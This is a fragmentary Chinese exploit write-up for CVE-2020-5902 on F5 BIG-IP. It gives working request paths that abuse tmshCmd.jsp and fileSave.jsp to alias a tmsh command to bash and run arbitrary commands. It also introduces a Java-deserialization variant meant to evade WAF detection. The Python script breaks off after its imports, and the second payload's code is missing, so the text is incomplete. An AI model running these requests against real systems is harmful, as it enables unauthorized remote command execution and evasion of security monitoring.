通过bash执行命令的 payload
通过alias = bash去绕过无法执行shell的限制。payload如下
#coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys
# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list
banner = r'''

通过java反序列化绕过waf的payload
上一种payload特征明显，很容易被waf等设备拦截。在这里我们可以使用java反序列化配合cve 2020-5902去执行命令。做到隐藏特征以绕过waf。
代码如下
